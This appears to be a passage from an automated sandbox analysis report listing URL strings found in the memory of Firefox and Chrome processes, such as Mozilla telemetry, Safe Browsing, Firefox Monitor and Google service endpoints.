Source: firefox.exe, 0000001C.00000002.2849435225.0000017A59603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001C.00000003.2659780276.0000017A5C07B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2887379182.0000017A5C6B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2654860678.0000017A5C020000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2654040182.0000017A5BE00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2656351386.0000017A5C03E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2657423227.0000017A5C05D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsexperiment-apis/aboutConfigPipPrefs.jschrome://global
Source: chrome.exe, 0000001F.00000003.2657068053.00003E8800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 0000001F.00000003.2657068053.00003E8800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hj
Source: chrome.exe, 0000001F.00000003.2657068053.00003E8800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 0000001F.00000003.2657068053.00003E8800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 0000001F.00000003.2657068053.00003E8800684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: chrome.exe, 0000001F.00000002.2860382019.000035F8005A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001C.00000002.2816945713.0000017A4C611000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Changes
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001E.00000002.2790727724.0000022EC7DCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001C.00000002.2841526725.0000017A57EF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2915795207.000035F800CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2916120334.000035F800D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2915795207.000035F800CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2916120334.000035F800D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2915795207.000035F800CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2915795207.000035F800CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2916120334.000035F800D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2915795207.000035F800CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2915795207.000035F800CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2915795207.000035F800CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2915795207.000035F800CF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2916120334.000035F800D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 0000001F.00000003.2681748980.000035F800370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681795605.000035F800CD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 0000001F.00000002.2883002793.000035F8008D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2654165582.00003E880039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: firefox.exe, 0000001C.00000002.2843855069.0000017A5863E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2881895205.0000017A5C3D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001C.00000002.2898588001.0000017A5C9EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%wakeupBackground
Source: firefox.exe, 0000001C.00000002.2906828754.0000017A5CC43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001C.00000002.2874625730.0000017A5BD21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2849435225.0000017A5961F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A594D1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A5B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2663541705.0000017A5BD33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001C.00000002.2874625730.0000017A5BD21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2843314751.0000017A5837D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A5B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2663541705.0000017A5BD33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A5B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001C.00000002.2874625730.0000017A5BD21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2843314751.0000017A5837D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A5B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2663541705.0000017A5BD33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A5B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2816945713.0000017A4C6D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2790727724.0000022EC7D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.2816945713.0000017A4C603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2843855069.0000017A586C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.comwidget.use-xdg-desktop-portalhttps://screenshots.firefox.comhttps://truec
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: chrome.exe, 0000001F.00000002.2857725171.000035F8004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2864306916.000035F8005D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 0000001F.00000002.2857725171.000035F8004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2864306916.000035F8005D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 0000001F.00000002.2857725171.000035F8004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2864306916.000035F8005D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 0000001F.00000002.2879731042.000035F80085B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2855908724.000035F800448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: chrome.exe, 0000001F.00000002.2886706955.000035F80099C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2913618610.000035F800C6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 0000001F.00000002.2886706955.000035F80099C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681662154.000035F8008CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2913618610.000035F800C6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 0000001F.00000002.2886706955.000035F80099C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2913618610.000035F800C6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 0000001F.00000002.2886706955.000035F80099C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681662154.000035F8008CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2913618610.000035F800C6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 0000001F.00000002.2886706955.000035F80099C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2681662154.000035F8008CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2913618610.000035F800C6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A5B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2663541705.0000017A5BD33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: chrome.exe, 0000001F.00000002.2879731042.000035F80085B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2855908724.000035F800448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001C.00000002.2874625730.0000017A5BD21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2843314751.0000017A5837D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A5B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2663541705.0000017A5BD33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A5B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: chrome.exe, 0000001F.00000002.2879731042.000035F80085B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2855908724.000035F800448000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comFound
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001C.00000002.2816945713.0000017A4C603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A5E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001C.00000003.2657423227.0000017A5C05D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2906828754.0000017A5CC43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/experiment-apis/appConstants.js
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
